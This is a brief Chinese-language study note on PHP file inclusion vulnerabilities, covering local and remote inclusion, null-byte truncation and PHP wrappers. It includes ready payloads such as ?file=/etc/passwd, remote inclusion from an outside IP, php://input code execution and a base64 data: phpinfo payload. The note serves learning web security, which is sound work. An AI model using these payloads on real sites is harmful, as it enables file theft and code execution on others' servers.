参考博客:https://blog.csdn.net/Monsterlz123/article/details/93964916
总结:
一、原理
include函数会把所包含文件里的代码当做php代码执行。所以我们可以在文件里写入代码目标进行操作,它不在意包含文件的类型。
二、本地文件包含漏洞
这边我们可以对file进行传参,这个参数是可控的我们可以输入服务器本地文件的路径,来访问。
eg:
?file=/etc/passwd
?file=C:/test/hello.txt
三、远程文件包含漏洞
代码同上,但是我们的传参要改:
eg:
?file=http://IP/test.txt
我们的代码里面可以是文本,也可以是我们的代码。
注意:%00
可以用来截断后缀。截断需要php版本小于5.3.4,且关闭magic_quotes_gpc
功能。也可以使用?
来截断。
四、PHP封装协议与文件包涵
注意参数之间可以用&
来输入多个参数
1.file 协议用来访问本地文件系统
注意: file:// 这个协议后需跟文件的绝对路径。
eg:
?page=file://C:hello.txt
2.PHP伪协议–php://input和data
利用 PHP 伪协议可以使得本地文件包含执行自定义的 PHP 代码。
-
php://input (allow_url_include 为 on)
?file=php://input POST 提交:<?php php代码 ?>
-
data: (allow_url_include、allow_url_fopen 均为 on)
?page=data:text/plain,<?php php代码 ?>
注意: data: 可以使用 base64 进行数据编码。
eg:data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
后面的是base64编码,解码内容是:<?php phpinfo();?>
这种相对适合php代码比较少的注入。
3.PHP伪协议–php://filter
- php://filter 是一种元封装器, 用于数据流打开时的筛选过滤应用。
- 用法:
php://filter/[read/write=<读/写的编码>]/resource=<要读或者写的文件>
eg:php://filter/read=convert.base64-encode/resource=show.txt